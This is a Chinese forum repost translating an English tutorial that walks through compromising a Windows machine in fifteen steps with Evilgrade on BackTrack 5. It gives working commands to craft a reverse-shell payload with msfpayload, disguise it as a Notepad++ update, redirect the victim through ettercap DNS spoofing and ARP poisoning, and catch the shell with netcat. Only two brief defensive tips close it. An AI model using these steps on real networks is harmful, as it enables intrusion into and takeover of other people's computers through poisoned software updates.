【翻译】在backtrack5上用Evilgrade工具15步**windows

 

首先声明下，这是我转转自红盟的一篇文章，原文链接在这里:http://www.cnhonkerarmy.com/thread-78296-1-1.html

这篇文章是我无意中看见的evligrade的一个利用教程，由于是英文的所以翻译给大家看看！感觉对大家的认识和提高都有很多的作用，其实漏洞无处不在！开拓我们的思维，才是关键！
    好了，废话不多说！
---------------------------------------------------
此文摘自：http://vishnuvalentino.com/compu ... 2-0-on-backtrack-5/

作者：Vishnu Valentino
翻译：L.N.

题目：在backtrack5上用Evilgrade工具15步**windows

文章类型：辅导类

难度：中高级

evilgrade简介：
  evilgrade是一个模块化的框架结构，使用者可以利用脆弱的软件的升级更新机制，来欺骗用户安装自己注入的其他程序（木马、病毒）。它提供了代理和默认快速配置，还有web服务和dns服务模块，可以很容易的更新设置，并且还可以自动配置新的代理！

来自：http://www.infobytesec.com

使用工具：
1. Evilgrade
2. Backtrack 5

步骤：
1.解压evilgrade然后运行它用下面的命令

1. tar xvfz isr-evilgrade-2.0.0.tar.gz
2.  
3. cd isr-evilgrade-2.0.0.tar.gz/
4.  
5. ./evilgrade

复制代码

如果你在使用evilgrade的时候出现了错误，你可以参考http://vishnuvalentino.com/tips- ... backtrack-5-solved/这篇文章
下面显示的这个图片是你正确运行时的样子
 

2.下一步你需要去确定一个应用的目标程序，因为evilgrade将创建一个假的更新注入到目标电脑。使用下面的命令查看可以支持应用的模块。

1. evilgrade>show modules

复制代码

（命令是show modules，不要evilgrade>也输入进去了，这个便是当前的目录）

1. List of modules:
2. ===============
3.  
4. allmynotes
5. amsn
6. appleupdate
7. apptapp
8. apt
9. atube
10. autoit3
11. bbappworld
12. blackberry
13. bsplayer
14. ccleaner
15. clamwin
16. cpan
17. cygwin
18. dap
19. divxsuite
20. express_talk
21. fcleaner
22. filezilla
23. flashget
24. flip4mac
25. freerip
26. getjar
27. gom
28. googleanalytics
29. growl
30. isopen
31. istat
32. itunes
33. jet
34. jetphoto
35. linkedin
36. miranda
37. mirc
38. nokia
39. nokiasoftware
40. notepadplus
41. openoffice
42. opera
43. orbit
44. osx
45. paintnet
46. panda_antirootkit
47. photoscape
48. quicktime
49. skype
50. sparkle
51. speedbit
52. sunbelt
53. sunjava
54. superantispyware
55. teamviewer
56. techtracker
57. trillian
58. ubertwitter
59. vidbox
60. virtualbox
61. vmware
62. winamp
63. winscp
64. winupdate
65. winzip
66. yahoomsn
67. - 63 modules available.

复制代码

在这篇辅导文章中，我将使用的目标程序是notepad plus，因此当管理员不加思索的升级这个应用程序的时候，他讲掉进我的陷阱里面。使用这个模块，运行以下命令：

1. evilgrade>configure notepadplus

复制代码

3.查看选项，你可以使用show options这个命令

在上面的图片中，virtualhost是当管理员升级他的notepad plus时，就会打开这个url连接：notepad-plus.sourceforge.net。下面我们将使用到这个连接。

4.接下来我们设置一个代理。我们配置一个代理用msfpayload创建一个shell_reverse_tcp

1. evilgrade(notepadplus)>set agent '["/pentest/exploits/framework3/msfpayload windows/shell_reverse_tcp LHOST=192.168.8.91 LPORT=1234 X > <%OUT%>/tmp/notepadplus.exe<%OUT%>"]'

复制代码

解释：
/pentest/exploits/framework3/msfpayload –> 我们将加载这个msfpayload
windows/shell_reverse_tcp –> 当成功的时候我们就可以反弹一个shell回本地

LHOST –> localhost 你backtrack5的ip地址 / 攻击者的ip地址.
LPORT –> 填一个端口（用于监听） （相关的说明可以看http://www.infobytesec.com/down/isr-evilgrade-Readme.txt）

5.下一步是我们打开evilgrade服务。确保你的80端口是打开的


6.完成了evilgrade得设置过后，我们还需要配置中间人攻击用ettercap，然后当当管理员升级notpad plus时就会直接连接evilgrade服务。第一步是你需要配置etter.dns

1. pico /usr/share/ettercap/etter.dns

复制代码

notepad-plus.sourceforge.net –> 这个地址是我们在第三步得到的

7.接下来我们要用到ettercap
“ettercap是什么见http://ettercap.sourceforge.net/”

运行ettercap，打开新的terminal（ctrl+alt+t）运行下面的命令

1. ettercap -G

复制代码

Click Sniff –> Unified sniffing –> 选着你的网卡，在这儿我用eth0.


8.下一步我们需要使用dns_spoof插件，这个插件用于接收目标机器对evilgrade服务的请求。点击 Plugins –> Manage the plugins –> 双击 dns_spoof 


9.下一步是扫描主机，这部是我们去决定一个目标，点击Hosts –> Scan for 


10.下面是我们网络中得所有主机，我们需要建议一个目标


11.我们还需要去完成中间者攻击去拦截网络中得数据，点击 Mitm –> Arp poisoning –> 点击 "Sniff remote connection".


12.如果上面的每一步都设置正确，就运行ettercap开始嗅探start sniffing


13.接下来我们用nc（netcat）去监听端口1234（这个端口就是我们上面设置的那个）
nc是什么我就不多说了不知道的见：From : http://netcat.sourceforge.net/

新打开一个terminal（ctrl+alt+t）并且运行命令

1. nc -l -v -p 1234

复制代码

14.当管理员打开notepad plus时就会被要求升级更新，如下面的图，如果管理员点击yes，就成功了
 

15.我们的nc就会有东西回显了，因为当管理员点击yes升级完成的时候，我们反弹的shell就成功了


应对方法：
1.直接到官方网站下载最新版本的程序

2.保持反病毒程序是最新的

希望对你有帮助